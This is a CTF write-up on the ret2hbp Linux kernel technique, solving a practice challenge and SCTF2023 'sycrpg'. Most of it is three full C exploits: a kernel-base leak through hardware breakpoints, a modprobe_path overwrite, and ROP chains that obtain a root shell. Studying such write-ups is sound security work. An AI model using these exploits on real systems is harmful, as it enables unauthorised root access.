【ret2hbp】一道板子测试题 和 SCTF2023 - sycrpg

前言

ret2hbp 主要是利用在内核版本 v6.2.0 之前,cpu_entry_area mapping 区域没有参与随机化的利用。其主要针对的场景如下:

1)存在任意地址读,泄漏内核地址

2)存在无数次任意地址写,泄漏内核地址并提权

这里仅仅记录题目,具体原理请读者自行查阅资料,这里给一些参考链接:

一种借助硬件断点的提权思路分析与演示 板子题也是这个大佬写的

https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html

板子题

保护:smep、smap、kalsr、pti都开了

漏洞如下:无数次任意地址写8字节

【ret2hbp】一道板子测试题 和 SCTF2023 - sycrpg_第1张图片

modprobe_path 直接打

exp 如下:这里在泄漏完kernel_offset后直接利用任意写打modprobe_path,这里取巧了

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


#define DF_OFFSET(dr) ((void*)(&((struct user*)0)->u_debugreg[dr]))
#define CPU_ENTRY_AREA_DB_STACK_RCX_ADDR 0xfffffe0000010fb0
#define MMAP_ADDR 0x12340000
#define MMAP_SIZE 0x2000
int fd;
int pipe_fd[2];

struct arg { uint64_t addr; uint64_t val };

void arb_write(uint64_t addr, uint64_t val)
{
        struct arg arg = { .addr = addr, .val = val };
        ioctl(fd, 0, &arg);
}

void set_hbp(pid_t pid, void* addr)
{
        if (ptrace(PTRACE_POKEUSER, pid, DF_OFFSET(0), addr))
                err_exit("ptrace PTRACE_POKEUSER for dr0 in set_hbp");

        long dr7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
        if (ptrace(PTRACE_POKEUSER, pid, DF_OFFSET(7), dr7))
                err_exit("ptrace PTRACE_POKEUSER for dr7 in set_hbp");
}

void do_trigger_hbp()
{
        bind_core(0);
        if (ptrace(PTRACE_TRACEME, 0, NULL, NULL))
                err_exit("ptrace PTRACE_TRACEME in do trigger hbp");

        struct utsname* uts = (struct utsname*)MMAP_ADDR;
        int oob_idx = (sizeof(struct utsname) + sizeof(uint64_t) - 1) / sizeof(uint64_t);

        while (1)
        {
                raise(SIGSTOP);
                uname(uts);
                if (((uint64_t*)uts)[oob_idx])
                {
                        puts("[+] OOB Read Stack Data Successfully");
                        write(pipe_fd[1], MMAP_ADDR, MMAP_SIZE);
                        break;
                }
        }

}

void do_change_cx()
{
        bind_core(1);
        puts("[+] write cpu_entry_area DB_STACK -> rcx");
        while (1)
        {
                arb_write(CPU_ENTRY_AREA_DB_STACK_RCX_ADDR, 0x400/8);
        }
}

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /tmp/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
        system("chmod +x /tmp/dummy");
        system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
        sleep(0.3);
        system("cat /flag");
        exit(0);
}

int main(int argc, char** argv, char** envp)
{
        fd = open("/dev/vuln", O_RDONLY);
        if (fd < 0) err_exit("open dev file");

        if (mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0) == MAP_FAILED)
                err_exit("mmap MMAP_ADDR");

        pipe(pipe_fd);
        pid_t pid1, pid2;
        puts("[+] fork a process to trigger hbp");
        pid1 = fork();
        if (!pid1)
        {
                do_trigger_hbp();
                exit(0);
        } else if (pid1 < 0) {
                err_exit("fork a trigger hbp process");
        } else {
                waitpid(pid1, NULL, NULL);
        }

        pid2 = fork();
        if (!pid2)
        {
                do_change_cx();
                exit(0);
        } else if (pid2 < 0) {
                err_exit("fork a trigger hbp process");
        }

        set_hbp(pid1, MMAP_ADDR);
        struct pollfd fds = { .fd = pipe_fd[0], .events = POLLIN };
        while (1)
        {
                if (ptrace(PTRACE_CONT, pid1, NULL, NULL))
                        err_exit("ptrace PTRACE_CONT");
                waitpid(pid1, NULL, NULL);

                int res = poll(&fds, 1, 0);
                if (res > 0 && (fds.revents & POLLIN))
                {
                        read(pipe_fd[0], MMAP_ADDR, MMAP_SIZE);
                        break;
                }
        }

        binary_dump("OOB READ STACK DTA", MMAP_ADDR+sizeof(struct utsname), 0x100);
        uint64_t* leak_data = MMAP_ADDR+sizeof(struct utsname);
        uint64_t kbase = leak_data[4] - 0xe0b32;
        uint64_t modprobe_path = kbase + 0x1e8b920;
        hexx("kbase", kbase);
        hexx("modprobe_path", modprobe_path);

        char cmd[8] = "/tmp/x";
        arb_write(modprobe_path, *(uint64_t*)cmd);
        get_flag();
        puts("[+] EXP NEVER END!");
        return 0;
}

效果如下: 

【ret2hbp】一道板子测试题 和 SCTF2023 - sycrpg_第2张图片

ROP 链提权

但是在大佬 blog 中是直接可以提权的,所以这里尝试提权,这里其实想法挺多了,因为漏洞的品相比较好,所以可以直接考虑修改 ip / rsp,但是这里还是参考原文中的做法,因为 srcrpg 这题是固定地址的任意次1字节写。

提权:这里有两条路径可以打:

【ret2hbp】一道板子测试题 和 SCTF2023 - sycrpg_第3张图片

这里这两个地方都可触发硬件断点,并且dst都是内核栈上的局部变量。

exp 如下:两个路径的利用都在里面,其实区别不大,只是路径2要绕过validate_prctl_map_addr 函数里面的一些检查,但是比较容易绕过

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#llx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


#define DF_OFFSET(dr) ((void*)(&((struct user*)0)->u_debugreg[dr]))
#define CPU_ENTRY_AREA_DB_STACK_RCX_ADDR 0xfffffe0000010fb0
#define MMAP_ADDR 0x12340000
#define MMAP_SIZE 0x2000
int fd;
int pipe_fd[2];
int rop_pipe[2];

struct arg { uint64_t addr; uint64_t val };

void arb_write(uint64_t addr, uint64_t val)
{
        struct arg arg = { .addr = addr, .val = val };
        ioctl(fd, 0, &arg);
}

void set_hbp(pid_t pid, void* addr)
{
        if (ptrace(PTRACE_POKEUSER, pid, DF_OFFSET(0), addr))
                err_exit("ptrace PTRACE_POKEUSER for dr0 in set_hbp");

        long dr7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
        if (ptrace(PTRACE_POKEUSER, pid, DF_OFFSET(7), dr7))
                err_exit("ptrace PTRACE_POKEUSER for dr7 in set_hbp");
}

void do_trigger_hbp()
{
        bind_core(0);
        if (ptrace(PTRACE_TRACEME, 0, NULL, NULL))
                err_exit("ptrace PTRACE_TRACEME in do trigger hbp");

        struct utsname* uts = (struct utsname*)MMAP_ADDR;
        int oob_idx = (sizeof(struct utsname) + sizeof(uint64_t) - 1) / sizeof(uint64_t);
        int step = 0;
        while (1)
        {
                raise(SIGSTOP);
                switch (step)
                {
                        case 0:
                        {
                                uname(uts);
                                if (((uint64_t*)uts)[oob_idx])
                                {
                                        puts("[+] OOB Read Stack Data Successfully");
                                        write(pipe_fd[1], MMAP_ADDR, MMAP_SIZE);
                                        step++;
                                }
                        }
                                break;
                        case 1:
                        {
                                puts("[+] Wait for ROP chain");
                                if (read(rop_pipe[0], MMAP_ADDR, MMAP_SIZE) < 0)
                                        err_exit("read ROP chain");
                                puts("[+] Get ROP chain successfully");
                                step++;
                        }
                                break;
                        case 2:
                        {
                                puts("[+] Try to write ROP chain");
                                // path 2
                                struct prctl_mm_map mm_map;
                                mm_map.start_code  = 0x1000000;
                                mm_map.end_code    = 0x1100000;
                                mm_map.start_data  = 0x1000000;
                                mm_map.end_data    = 0x1100000;
                                mm_map.start_brk   = 0x2000000;
                                mm_map.brk         = 0x2000000;
                                mm_map.start_stack = 0x1000000;
                                mm_map.arg_start   = 0x1000000;
                                mm_map.arg_end     = 0x1000000;
                                mm_map.env_start   = 0x1000000;
                                mm_map.env_end     = 0x1000000;
                                mm_map.auxv        = MMAP_ADDR;
                                mm_map.auxv_size   = 0x140;
                                mm_map.exe_fd      = -2;
                                prctl(PR_SET_MM, PR_SET_MM_MAP, &mm_map, sizeof(struct prctl_mm_map), 0);

                                // path 1
//                              prctl(PR_SET_MM, PR_SET_MM_MAP, MMAP_ADDR, sizeof(struct prctl_mm_map), 0);
                        }
                                break;
                        default:
                                break;

                }
        }

}

void do_change_cx()
{
        bind_core(1);
        puts("[+] write cpu_entry_area DB_STACK -> rcx");
        while (1)
        {
                arb_write(CPU_ENTRY_AREA_DB_STACK_RCX_ADDR, 0x10);
        }
}

int main(int argc, char** argv, char** envp)
{
        save_status();
        fd = open("/dev/vuln", O_RDONLY);
        if (fd < 0) err_exit("open dev file");

        if (mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0) == MAP_FAILED)
                err_exit("mmap MMAP_ADDR");

        pipe(pipe_fd);
        pipe(rop_pipe);
        pid_t pid1, pid2;
        puts("[+] fork a process to trigger hbp");
        pid1 = fork();
        if (!pid1)
        {
                do_trigger_hbp();
                exit(0);
        } else if (pid1 < 0) {
                err_exit("fork a trigger hbp process");
        } else {
                waitpid(pid1, NULL, NULL);
        }

        puts("[+] fork a process to arb_write 'rcx'");
        pid2 = fork();
        if (!pid2)
        {
                do_change_cx();
                exit(0);
        } else if (pid2 < 0) {
                err_exit("fork a trigger hbp process");
        }

        set_hbp(pid1, MMAP_ADDR);
        struct pollfd fds = { .fd = pipe_fd[0], .events = POLLIN };
        while (1)
        {
                if (ptrace(PTRACE_CONT, pid1, NULL, NULL))
                        err_exit("ptrace PTRACE_CONT");
                waitpid(pid1, NULL, NULL);

                int res = poll(&fds, 1, 0);
                if (res > 0 && (fds.revents & POLLIN))
                {
                        read(pipe_fd[0], MMAP_ADDR, MMAP_SIZE);
                        break;
                }
        }

        binary_dump("OOB READ STACK DTA", MMAP_ADDR+sizeof(struct utsname), 0x100);
        uint64_t* leak_data = MMAP_ADDR+sizeof(struct utsname);
        uint64_t canary = leak_data[0];
        uint64_t kbase = leak_data[4] - 0xe0b32;
        uint64_t kernel_offset = kbase - 0xffffffff81000000;
        hexx("canary", canary);
        hexx("kbase", kbase);
        hexx("kernel_offset", kernel_offset);
        // ======== path 1 offset ========
//      int canary_off = 0x3d;
//      int ret_off = 0x44;
        // ===============================

        // ======== path 2 offset ========
        int canary_off = 0x30;
        int ret_off = 0x37;
        // ===============================

        // invalid gadget in data segment
//      size_t pop_rdi = 0xffffffff824b3716 + kernel_offset;
//      size_t pop_rdi = 0xffffffff82984bb7 + kernel_offset; // cld ; pop rdi ; ret
        size_t pop_rdi = 0xffffffff81852a3b + kernel_offset; // add al, ch ; pop rdi ; ret
        size_t init_cred = 0xffffffff82e8a820 + kernel_offset;
        size_t commit_creds = 0xffffffff810f8240 + kernel_offset;
        size_t swapgs_kpti = 0xffffffff820010b0 + 0x36 + kernel_offset;
        hexx("pop_rdi", pop_rdi);
        hexx("init_cred", init_cred);
        hexx("commit_creds", commit_creds);
        hexx("swapgs_kpti", swapgs_kpti);

        uint64_t* rop = (uint64_t*)MMAP_ADDR;
        int i = 0;

        memset(MMAP_ADDR, 0, MMAP_SIZE);
        rop[canary_off] = canary;
        rop[ret_off+i++] = pop_rdi;
        rop[ret_off+i++] = init_cred;
        rop[ret_off+i++] = commit_creds;
        rop[ret_off+i++] = swapgs_kpti;
        rop[ret_off+i++] = 0;
        rop[ret_off+i++] = 0;
        rop[ret_off+i++] = get_root_shell;
        rop[ret_off+i++] = user_cs;
        rop[ret_off+i++] = user_rflags;
        rop[ret_off+i++] = user_sp;
        rop[ret_off+i++] = user_ss;

        write(rop_pipe[1], MMAP_ADDR, MMAP_SIZE);

        while (1)
        {
                if (ptrace(PTRACE_CONT, pid1, NULL, NULL))
                        err_exit("ptrace PTRACE_CONT");
                waitpid(pid1, NULL, NULL);
        }

        puts("[+] EXP NEVER END!");
        return 0;
}

效果如下:可以成功完成提权,而且成功率几乎100%

【ret2hbp】一道板子测试题 和 SCTF2023 - sycrpg_第4张图片

坑点

哭了,害的的调了一整天,脚本早就写好了,但是发现其在copy_from_user里面就直接崩溃了,然后就调试了一整天,第二天早上调了2个小时发现,脚本是能够执行到错误逻辑的,然后猛然发现把 rcx 改的太大了,对内核栈造成了极大的破坏。而且内核栈一般比较小,rcx 太大,可能访问了不能访问的内存页。其实这里我踩过好多坑了,但是就是不长记性。

第2个坑点就是 ROPgadget 找的 gadget 很多都是数据段上,不具备可执行权限,所以程序一种报错,这里很好解决,尽量挑选前面的 gadget,因为一般数据段都在代码段后面。

sycrpg

跟板子题一模一样,这里变成固定地址无数次一字节写,保护该开的都开了。

唯一的区别就是加了个小游戏:让3个check都为1就行了

【ret2hbp】一道板子测试题 和 SCTF2023 - sycrpg_第5张图片

exp 如下:这里开一个线程竞争修改 rcx 就行了,4个和1个没啥区别,单纯不想改了

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: \033[0m%#llx\n", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


#define DF_OFFSET(dr) ((void*)(&((struct user*)0)->u_debugreg[dr]))
#define CPU_ENTRY_AREA_DB_STACK_RCX_ADDR 0xfffffe0000010fb0
#define MMAP_ADDR 0x12340000
#define MMAP_SIZE 0x2000
int fd;
int pipe_fd[2];
int rop_pipe[2];


void arb_write(uint64_t val)
{
       if (ioctl(fd, 0x7204, val))
                err_exit("arb_write");
}

void* evil_write_rcx(void* arg)
{
        puts("[+] child pthread to write 'rcx'");
        while (1)
        {
                arb_write(0x10);
        }
}

void init_exp()
{
        ioctl(fd, 0x7201, CPU_ENTRY_AREA_DB_STACK_RCX_ADDR);

        ioctl(fd, 0x7202, 1);
        for (int i = 0; i < 0x100; i++)
                ioctl(fd, 0x7203, 0);

        for (int i = 0; i < 0x50; i++)
        {
                ioctl(fd, 0x7202, 1);
                ioctl(fd, 0x7202, 2);
        }

        ioctl(fd, 0x7203, 1);
        ioctl(fd, 0x7203, 2);
        pthread_t thr0, thr1, thr2, thr3;
        pthread_create(&thr0, NULL, evil_write_rcx, NULL);
        pthread_create(&thr1, NULL, evil_write_rcx, NULL);
        pthread_create(&thr2, NULL, evil_write_rcx, NULL);
        pthread_create(&thr3, NULL, evil_write_rcx, NULL);

}


void set_hbp(pid_t pid, void* addr)
{
        if (ptrace(PTRACE_POKEUSER, pid, DF_OFFSET(0), addr))
                err_exit("ptrace PTRACE_POKEUSER for dr0 in set_hbp");

        long dr7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
        if (ptrace(PTRACE_POKEUSER, pid, DF_OFFSET(7), dr7))
                err_exit("ptrace PTRACE_POKEUSER for dr7 in set_hbp");
}

void do_trigger_hbp()
{
        bind_core(0);
        if (ptrace(PTRACE_TRACEME, 0, NULL, NULL))
                err_exit("ptrace PTRACE_TRACEME in do trigger hbp");

        struct utsname* uts = (struct utsname*)MMAP_ADDR;
        int oob_idx = (sizeof(struct utsname) + sizeof(uint64_t) - 1) / sizeof(uint64_t);
        int step = 0;
        while (1)
        {
                raise(SIGSTOP);
                switch (step)
                {
                        case 0:
                        {
//                              puts("uname ust");
                                uname(uts);
                                if (((uint64_t*)uts)[oob_idx])
                                {
                                        puts("[+] OOB Read Stack Data Successfully");
                                        write(pipe_fd[1], MMAP_ADDR, MMAP_SIZE);
                                        step++;
                                        break;
                                }
                        }
                                break;
                        case 1:
                        {
                                puts("[+] Wait for ROP chain");
                                if (read(rop_pipe[0], MMAP_ADDR, MMAP_SIZE) < 0)
                                        err_exit("read ROP chain");
                                puts("[+] Get ROP chain successfully");
                                step++;
                        }
                                break;
                        case 2:
                        {
                                puts("[+] Try to write ROP chain");
                                prctl(PR_SET_MM, PR_SET_MM_MAP, MMAP_ADDR, sizeof(struct prctl_mm_map), 0);
                        }
                                break;
                        default:
                                break;

                }
        }

}

void do_change_cx()
{
        bind_core(1);
        puts("[+] write cpu_entry_area DB_STACK -> rcx");
        while (1)
        {
//              puts("WRITE rcx");
                arb_write(0x10);
        }
}

int main(int argc, char** argv, char** envp)
{
        save_status();
        fd = open("/dev/seven", O_RDWR);
        if (fd < 0) err_exit("open dev file");
        init_exp();

        if (mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0) == MAP_FAILED)
                err_exit("mmap MMAP_ADDR");

        pipe(pipe_fd);
        pipe(rop_pipe);
        pid_t pid;

        puts("[+] fork a process to trigger hbp");
        pid = fork();
        if (!pid)
        {
                do_trigger_hbp();
                exit(0);
        } else if (pid < 0) {
                err_exit("fork a trigger hbp process");
        } else {
                waitpid(pid, NULL, NULL);
        }

        set_hbp(pid, MMAP_ADDR);
        struct pollfd fds = { .fd = pipe_fd[0], .events = POLLIN };
        while (1)
        {
                if (ptrace(PTRACE_CONT, pid, NULL, NULL))
                        err_exit("ptrace PTRACE_CONT");
                waitpid(pid, NULL, NULL);

                int res = poll(&fds, 1, 0);
                if (res > 0 && (fds.revents & POLLIN))
                {
                        read(pipe_fd[0], MMAP_ADDR, MMAP_SIZE);
                        break;
                }
        }

        binary_dump("OOB READ STACK DTA", MMAP_ADDR+sizeof(struct utsname), 0x100);
        uint64_t* leak_data = MMAP_ADDR+sizeof(struct utsname);
        uint64_t canary = leak_data[0];
        uint64_t kbase = leak_data[4] - 0xd7182;
        uint64_t koffset = kbase - 0xffffffff81000000;
        hexx("canary", canary);
        hexx("kbase", kbase);
        hexx("koffset", koffset);

        int canary_off = 0x3d;
        int ret_off = 0x44;
        size_t pop_rdi = koffset + 0xffffffff8108ab12; // pop rdi ; ret
        size_t init_cred = koffset + 0xffffffff82e8abe0;
        size_t commit_creds = koffset + 0xffffffff810eeec0;
        size_t swapgs_kpti = koffset + 0xffffffff81e010b0 + 0x36;
        hexx("pop_rdi", pop_rdi);
        hexx("init_cred", init_cred);
        hexx("commit_creds", commit_creds);
        hexx("swapgs_kpti", swapgs_kpti);

        uint64_t* rop = (uint64_t*)MMAP_ADDR;
        int i = 0;

        memset(MMAP_ADDR, 0, MMAP_SIZE);
        rop[canary_off] = canary;
        rop[ret_off+i++] = pop_rdi;
        rop[ret_off+i++] = init_cred;
        rop[ret_off+i++] = commit_creds;
        rop[ret_off+i++] = swapgs_kpti;
        rop[ret_off+i++] = 0;
        rop[ret_off+i++] = 0;
        rop[ret_off+i++] = get_root_shell;
        rop[ret_off+i++] = user_cs;
        rop[ret_off+i++] = user_rflags;
        rop[ret_off+i++] = user_sp;
        rop[ret_off+i++] = user_ss;

        write(rop_pipe[1], MMAP_ADDR, MMAP_SIZE);

        while (1)
        {
                if (ptrace(PTRACE_CONT, pid, NULL, NULL))
                        err_exit("ptrace PTRACE_CONT");
                waitpid(pid, NULL, NULL);
        }

        puts("[+] EXP NEVER END!");
        return 0;
}

效果如下:

【ret2hbp】一道板子测试题 和 SCTF2023 - sycrpg_第6张图片

大坑比

这题算是把我搞惨了,本打算搞完就去做实验的,结果搞了一天,操。原因是啥呢?题目 qemu 启动脚本没有设置 cpu 核心数量,所以默认为 1,所以这里的多进程,多线程竞争就是假的,纯纯单 CPU 模拟的。TM的调了一天,最后才发现,然后问了一下群里的师傅,师傅说比赛的时候出题人说了这个问题......

你可能感兴趣的:(kernel-pwn,ret2hbp)